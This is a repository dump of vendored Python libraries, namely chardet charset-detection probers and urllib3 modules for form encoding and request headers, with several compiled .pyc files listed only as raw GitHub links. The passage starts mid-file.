EUCKRDistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "EUC-KR" 43 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/euctwprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCTWDistributionAnalysis 31 | from .mbcssm import EUCTWSMModel 32 | 33 | class EUCTWProber(MultiByteCharSetProber): 34 | def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(EUCTWSMModel) 37 | self._mDistributionAnalyzer = EUCTWDistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "EUC-TW" 42 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/gb2312prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import GB2312DistributionAnalysis 31 | from .mbcssm import GB2312SMModel 32 | 33 | class GB2312Prober(MultiByteCharSetProber): 34 | def __init__(self): 35 | MultiByteCharSetProber.__init__(self) 36 | self._mCodingSM = CodingStateMachine(GB2312SMModel) 37 | self._mDistributionAnalyzer = GB2312DistributionAnalysis() 38 | self.reset() 39 | 40 | def get_charset_name(self): 41 | return "GB2312" 42 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/mbcharsetprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # Proofpoint, Inc. 13 | # 14 | # This library is free software; you can redistribute it and/or 15 | # modify it under the terms of the GNU Lesser General Public 16 | # License as published by the Free Software Foundation; either 17 | # version 2.1 of the License, or (at your option) any later version. 18 | # 19 | # This library is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | # Lesser General Public License for more details. 23 | # 24 | # You should have received a copy of the GNU Lesser General Public 25 | # License along with this library; if not, write to the Free Software 26 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 27 | # 02110-1301 USA 28 | ######################### END LICENSE BLOCK ######################### 29 | 30 | import sys 31 | from . import constants 32 | from .charsetprober import CharSetProber 33 | 34 | 35 | class MultiByteCharSetProber(CharSetProber): 36 | def __init__(self): 37 | CharSetProber.__init__(self) 38 | self._mDistributionAnalyzer = None 39 | self._mCodingSM = None 40 | self._mLastChar = [0, 0] 41 | 42 | def reset(self): 43 | CharSetProber.reset(self) 44 | if self._mCodingSM: 45 | self._mCodingSM.reset() 46 | if self._mDistributionAnalyzer: 47 | self._mDistributionAnalyzer.reset() 48 | self._mLastChar = [0, 0] 49 | 50 | def get_charset_name(self): 51 | pass 52 | 53 | def feed(self, aBuf): 54 | aLen = len(aBuf) 55 | for i in range(0, aLen): 56 | codingState = self._mCodingSM.next_state(aBuf[i]) 57 | if codingState == constants.eError: 58 | if constants._debug: 59 | sys.stderr.write(self.get_charset_name() 60 | + ' prober hit error at byte ' + str(i) 61 | + '\n') 62 | self._mState = constants.eNotMe 63 | break 64 | elif codingState == constants.eItsMe: 65 | self._mState = constants.eFoundIt 66 | break 67 | elif codingState == constants.eStart: 68 | charLen = self._mCodingSM.get_current_charlen() 69 | if i == 0: 70 | self._mLastChar[1] = aBuf[0] 71 | self._mDistributionAnalyzer.feed(self._mLastChar, charLen) 72 | else: 73 | self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], 74 | charLen) 75 | 76 | self._mLastChar[0] = aBuf[aLen - 1] 77 | 78 | if self.get_state() == constants.eDetecting: 79 | if (self._mDistributionAnalyzer.got_enough_data() and 80 | (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): 81 | self._mState = constants.eFoundIt 82 | 83 | return self.get_state() 84 | 85 | def get_confidence(self): 86 | return self._mDistributionAnalyzer.get_confidence() 87 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/mbcsgroupprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # Proofpoint, Inc. 13 | # 14 | # This library is free software; you can redistribute it and/or 15 | # modify it under the terms of the GNU Lesser General Public 16 | # License as published by the Free Software Foundation; either 17 | # version 2.1 of the License, or (at your option) any later version. 18 | # 19 | # This library is distributed in the hope that it will be useful, 20 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 21 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 22 | # Lesser General Public License for more details. 23 | # 24 | # You should have received a copy of the GNU Lesser General Public 25 | # License along with this library; if not, write to the Free Software 26 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 27 | # 02110-1301 USA 28 | ######################### END LICENSE BLOCK ######################### 29 | 30 | from .charsetgroupprober import CharSetGroupProber 31 | from .utf8prober import UTF8Prober 32 | from .sjisprober import SJISProber 33 | from .eucjpprober import EUCJPProber 34 | from .gb2312prober import GB2312Prober 35 | from .euckrprober import EUCKRProber 36 | from .cp949prober import CP949Prober 37 | from .big5prober import Big5Prober 38 | from .euctwprober import EUCTWProber 39 | 40 | 41 | class MBCSGroupProber(CharSetGroupProber): 42 | def __init__(self): 43 | CharSetGroupProber.__init__(self) 44 | self._mProbers = [ 45 | UTF8Prober(), 46 | SJISProber(), 47 | EUCJPProber(), 48 | GB2312Prober(), 49 | EUCKRProber(), 50 | CP949Prober(), 51 | Big5Prober(), 52 | EUCTWProber() 53 | ] 54 | self.reset() 55 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/sbcsgroupprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | from .charsetgroupprober import CharSetGroupProber 30 | from .sbcharsetprober import SingleByteCharSetProber 31 | from .langcyrillicmodel import (Win1251CyrillicModel, Koi8rModel, 32 | Latin5CyrillicModel, MacCyrillicModel, 33 | Ibm866Model, Ibm855Model) 34 | from .langgreekmodel import Latin7GreekModel, Win1253GreekModel 35 | from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel 36 | from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel 37 | from .langthaimodel import TIS620ThaiModel 38 | from .langhebrewmodel import Win1255HebrewModel 39 | from .hebrewprober import HebrewProber 40 | 41 | 42 | class SBCSGroupProber(CharSetGroupProber): 43 | def __init__(self): 44 | CharSetGroupProber.__init__(self) 45 | self._mProbers = [ 46 | SingleByteCharSetProber(Win1251CyrillicModel), 47 | SingleByteCharSetProber(Koi8rModel), 48 | SingleByteCharSetProber(Latin5CyrillicModel), 49 | SingleByteCharSetProber(MacCyrillicModel), 50 | SingleByteCharSetProber(Ibm866Model), 51 | SingleByteCharSetProber(Ibm855Model), 52 | SingleByteCharSetProber(Latin7GreekModel), 53 | SingleByteCharSetProber(Win1253GreekModel), 54 | SingleByteCharSetProber(Latin5BulgarianModel), 55 | SingleByteCharSetProber(Win1251BulgarianModel), 56 | SingleByteCharSetProber(Latin2HungarianModel), 57 | SingleByteCharSetProber(Win1250HungarianModel), 58 | SingleByteCharSetProber(TIS620ThaiModel), 59 | ] 60 | hebrewProber = HebrewProber() 61 | logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, 62 | False, hebrewProber) 63 | visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, True, 64 | hebrewProber) 65 | hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) 66 | self._mProbers.extend([hebrewProber, logicalHebrewProber, 67 | visualHebrewProber]) 68 | 69 | self.reset() 70 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/utf8prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from . import constants 29 | from .charsetprober import CharSetProber 30 | from .codingstatemachine import CodingStateMachine 31 | from .mbcssm import UTF8SMModel 32 | 33 | ONE_CHAR_PROB = 0.5 34 | 35 | 36 | class UTF8Prober(CharSetProber): 37 | def __init__(self): 38 | CharSetProber.__init__(self) 39 | self._mCodingSM = CodingStateMachine(UTF8SMModel) 40 | self.reset() 41 | 42 | def reset(self): 43 | CharSetProber.reset(self) 44 | self._mCodingSM.reset() 45 | self._mNumOfMBChar = 0 46 | 47 | def get_charset_name(self): 48 | return "utf-8" 49 | 50 | def feed(self, aBuf): 51 | for c in aBuf: 52 | codingState = self._mCodingSM.next_state(c) 53 | if codingState == constants.eError: 54 | self._mState = constants.eNotMe 55 | break 56 | elif codingState == constants.eItsMe: 57 | self._mState = constants.eFoundIt 58 | break 59 | elif codingState == constants.eStart: 60 | if self._mCodingSM.get_current_charlen() >= 2: 61 | self._mNumOfMBChar += 1 62 | 63 | if self.get_state() == constants.eDetecting: 64 | if self.get_confidence() > constants.SHORTCUT_THRESHOLD: 65 | self._mState = constants.eFoundIt 66 | 67 | return self.get_state() 68 | 69 | def get_confidence(self): 70 | unlike = 0.99 71 | if self._mNumOfMBChar < 6: 72 | for i in range(0, self._mNumOfMBChar): 73 | unlike = unlike * ONE_CHAR_PROB 74 | return 1.0 - unlike 75 | else: 76 | return unlike 77 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | urllib3 - Thread-safe connection pooling and re-using. 3 | """ 4 | 5 | __author__ = 'Andrey Petrov (andrey.petrov@shazow.net)' 6 | __license__ = 'MIT' 7 | __version__ = 'dev' 8 | 9 | 10 | from .connectionpool import ( 11 | HTTPConnectionPool, 12 | HTTPSConnectionPool, 13 | connection_from_url 14 | ) 15 | 16 | from . import exceptions 17 | from .filepost import encode_multipart_formdata 18 | from .poolmanager import PoolManager, ProxyManager, proxy_from_url 19 | from .response import HTTPResponse 20 | from .util.request import make_headers 21 | from .util.url import get_host 22 | from .util.timeout import Timeout 23 | from .util.retry import Retry 24 | 25 | 26 | # Set default logging handler to avoid "No handler found" warnings. 27 | import logging 28 | try: # Python 2.7+ 29 | from logging import NullHandler 30 | except ImportError: 31 | class NullHandler(logging.Handler): 32 | def emit(self, record): 33 | pass 34 | 35 | logging.getLogger(__name__).addHandler(NullHandler()) 36 | 37 | def add_stderr_logger(level=logging.DEBUG): 38 | """ 39 | Helper for quickly adding a StreamHandler to the logger. Useful for 40 | debugging. 41 | 42 | Returns the handler after adding it. 43 | """ 44 | # This method needs to be in this __init__.py to get the __name__ correct 45 | # even if urllib3 is vendored within another package. 46 | logger = logging.getLogger(__name__) 47 | handler = logging.StreamHandler() 48 | handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s %(message)s')) 49 | logger.addHandler(handler) 50 | logger.setLevel(level) 51 | logger.debug('Added a stderr logging handler to logger: %s' % __name__) 52 | return handler 53 | 54 | # ... Clean up. 55 | del NullHandler 56 | 57 | 58 | # Set security warning to always go off by default. 59 | import warnings 60 | warnings.simplefilter('always', exceptions.SecurityWarning) 61 | 62 | def disable_warnings(category=exceptions.HTTPWarning): 63 | """ 64 | Helper for quickly disabling all urllib3 warnings. 65 | """ 66 | warnings.simplefilter('ignore', category) 67 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/_collections.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/_collections.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/connection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/connection.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/connectionpool.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/connectionpool.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/contrib/__init__.py -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/contrib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/contrib/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/contrib/pyopenssl.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/contrib/pyopenssl.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/exceptions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/exceptions.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/fields.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/fields.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/filepost.py: -------------------------------------------------------------------------------- 1 | import codecs 2 | 3 | from uuid import uuid4 4 | from io import BytesIO 5 | 6 | from .packages import six 7 | from .packages.six import b 8 | from .fields import RequestField 9 | 10 | writer = codecs.lookup('utf-8')[3] 11 | 12 | 13 | def choose_boundary(): 14 | """ 15 | Our embarassingly-simple replacement for mimetools.choose_boundary. 16 | """ 17 | return uuid4().hex 18 | 19 | 20 | def iter_field_objects(fields): 21 | """ 22 | Iterate over fields. 23 | 24 | Supports list of (k, v) tuples and dicts, and lists of 25 | :class:`~urllib3.fields.RequestField`. 26 | 27 | """ 28 | if isinstance(fields, dict): 29 | i = six.iteritems(fields) 30 | else: 31 | i = iter(fields) 32 | 33 | for field in i: 34 | if isinstance(field, RequestField): 35 | yield field 36 | else: 37 | yield RequestField.from_tuples(*field) 38 | 39 | 40 | def iter_fields(fields): 41 | """ 42 | .. deprecated:: 1.6 43 | 44 | Iterate over fields. 45 | 46 | The addition of :class:`~urllib3.fields.RequestField` makes this function 47 | obsolete. Instead, use :func:`iter_field_objects`, which returns 48 | :class:`~urllib3.fields.RequestField` objects. 49 | 50 | Supports list of (k, v) tuples and dicts. 51 | """ 52 | if isinstance(fields, dict): 53 | return ((k, v) for k, v in six.iteritems(fields)) 54 | 55 | return ((k, v) for k, v in fields) 56 | 57 | 58 | def encode_multipart_formdata(fields, boundary=None): 59 | """ 60 | Encode a dictionary of ``fields`` using the multipart/form-data MIME format. 61 | 62 | :param fields: 63 | Dictionary of fields or list of (key, :class:`~urllib3.fields.RequestField`). 64 | 65 | :param boundary: 66 | If not specified, then a random boundary will be generated using 67 | :func:`mimetools.choose_boundary`. 68 | """ 69 | body = BytesIO() 70 | if boundary is None: 71 | boundary = choose_boundary() 72 | 73 | for field in iter_field_objects(fields): 74 | body.write(b('--%s\r\n' % (boundary))) 75 | 76 | writer(body).write(field.render_headers()) 77 | data = field.data 78 | 79 | if isinstance(data, int): 80 | data = str(data) # Backwards compatibility 81 | 82 | if isinstance(data, six.text_type): 83 | writer(body).write(data) 84 | else: 85 | body.write(data) 86 | 87 | body.write(b'\r\n') 88 | 89 | body.write(b('--%s--\r\n' % (boundary))) 90 | 91 | content_type = str('multipart/form-data; boundary=%s' % boundary) 92 | 93 | return body.getvalue(), content_type 94 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/filepost.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/filepost.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from . import ssl_match_hostname 4 | 5 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/packages/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/ordered_dict.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/packages/ordered_dict.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/six.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/packages/six.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/ssl_match_hostname/__init__.py: -------------------------------------------------------------------------------- 1 | try: 2 | # Python 3.2+ 3 | from ssl import CertificateError, match_hostname 4 | except ImportError: 5 | try: 6 | # Backport of the function from a pypi module 7 | from backports.ssl_match_hostname import CertificateError, match_hostname 8 | except ImportError: 9 | # Our vendored copy 10 | from ._implementation import CertificateError, match_hostname 11 | 12 | # Not needed, but documenting what we provide. 13 | __all__ = ('CertificateError', 'match_hostname') 14 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/ssl_match_hostname/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/packages/ssl_match_hostname/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/packages/ssl_match_hostname/_implementation.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/packages/ssl_match_hostname/_implementation.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/poolmanager.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/poolmanager.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/request.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/response.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/response.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/__init__.py: -------------------------------------------------------------------------------- 1 | # For backwards compatibility, provide imports that used to be here. 2 | from .connection import is_connection_dropped 3 | from .request import make_headers 4 | from .response import is_fp_closed 5 | from .ssl_ import ( 6 | SSLContext, 7 | HAS_SNI, 8 | assert_fingerprint, 9 | resolve_cert_reqs, 10 | resolve_ssl_version, 11 | ssl_wrap_socket, 12 | ) 13 | from .timeout import ( 14 | current_time, 15 | Timeout, 16 | ) 17 | 18 | from .retry import Retry 19 | from .url import ( 20 | get_host, 21 | parse_url, 22 | split_first, 23 | Url, 24 | ) 25 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/connection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/connection.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/request.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode 2 | 3 | from ..packages.six import b 4 | 5 | ACCEPT_ENCODING = 'gzip,deflate' 6 | 7 | 8 | def make_headers(keep_alive=None, accept_encoding=None, user_agent=None, 9 | basic_auth=None, proxy_basic_auth=None, disable_cache=None): 10 | """ 11 | Shortcuts for generating request headers. 12 | 13 | :param keep_alive: 14 | If ``True``, adds 'connection: keep-alive' header. 15 | 16 | :param accept_encoding: 17 | Can be a boolean, list, or string. 18 | ``True`` translates to 'gzip,deflate'. 19 | List will get joined by comma. 20 | String will be used as provided. 21 | 22 | :param user_agent: 23 | String representing the user-agent you want, such as 24 | "python-urllib3/0.6" 25 | 26 | :param basic_auth: 27 | Colon-separated username:password string for 'authorization: basic ...' 28 | auth header. 29 | 30 | :param proxy_basic_auth: 31 | Colon-separated username:password string for 'proxy-authorization: basic ...' 32 | auth header. 33 | 34 | :param disable_cache: 35 | If ``True``, adds 'cache-control: no-cache' header. 36 | 37 | Example:: 38 | 39 | >>> make_headers(keep_alive=True, user_agent="Batman/1.0") 40 | {'connection': 'keep-alive', 'user-agent': 'Batman/1.0'} 41 | >>> make_headers(accept_encoding=True) 42 | {'accept-encoding': 'gzip,deflate'} 43 | """ 44 | headers = {} 45 | if accept_encoding: 46 | if isinstance(accept_encoding, str): 47 | pass 48 | elif isinstance(accept_encoding, list): 49 | accept_encoding = ','.join(accept_encoding) 50 | else: 51 | accept_encoding = ACCEPT_ENCODING 52 | headers['accept-encoding'] = accept_encoding 53 | 54 | if user_agent: 55 | headers['user-agent'] = user_agent 56 | 57 | if keep_alive: 58 | headers['connection'] = 'keep-alive' 59 | 60 | if basic_auth: 61 | headers['authorization'] = 'Basic ' + \ 62 | b64encode(b(basic_auth)).decode('utf-8') 63 | 64 | if proxy_basic_auth: 65 | headers['proxy-authorization'] = 'Basic ' + \ 66 | b64encode(b(proxy_basic_auth)).decode('utf-8') 67 | 68 | if disable_cache: 69 | headers['cache-control'] = 'no-cache' 70 | 71 | return headers 72 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/request.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/request.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/response.py: -------------------------------------------------------------------------------- 1 | def is_fp_closed(obj): 2 | """ 3 | Checks whether a given file-like object is closed. 4 | 5 | :param obj: 6 | The file-like object to check. 7 | """ 8 | 9 | try: 10 | # Check via the official file-like-object way. 11 | return obj.closed 12 | except AttributeError: 13 | pass 14 | 15 | try: 16 | # Check if the object is a container for another file-like object that 17 | # gets released on exhaustion (e.g. HTTPResponse). 18 | return obj.fp is None 19 | except AttributeError: 20 | pass 21 | 22 | raise ValueError("Unable to determine whether fp is closed.") 23 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/response.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/response.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/retry.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/retry.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/ssl_.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/ssl_.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/urllib3/util/timeout.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/urllib3/util/timeout.pyc 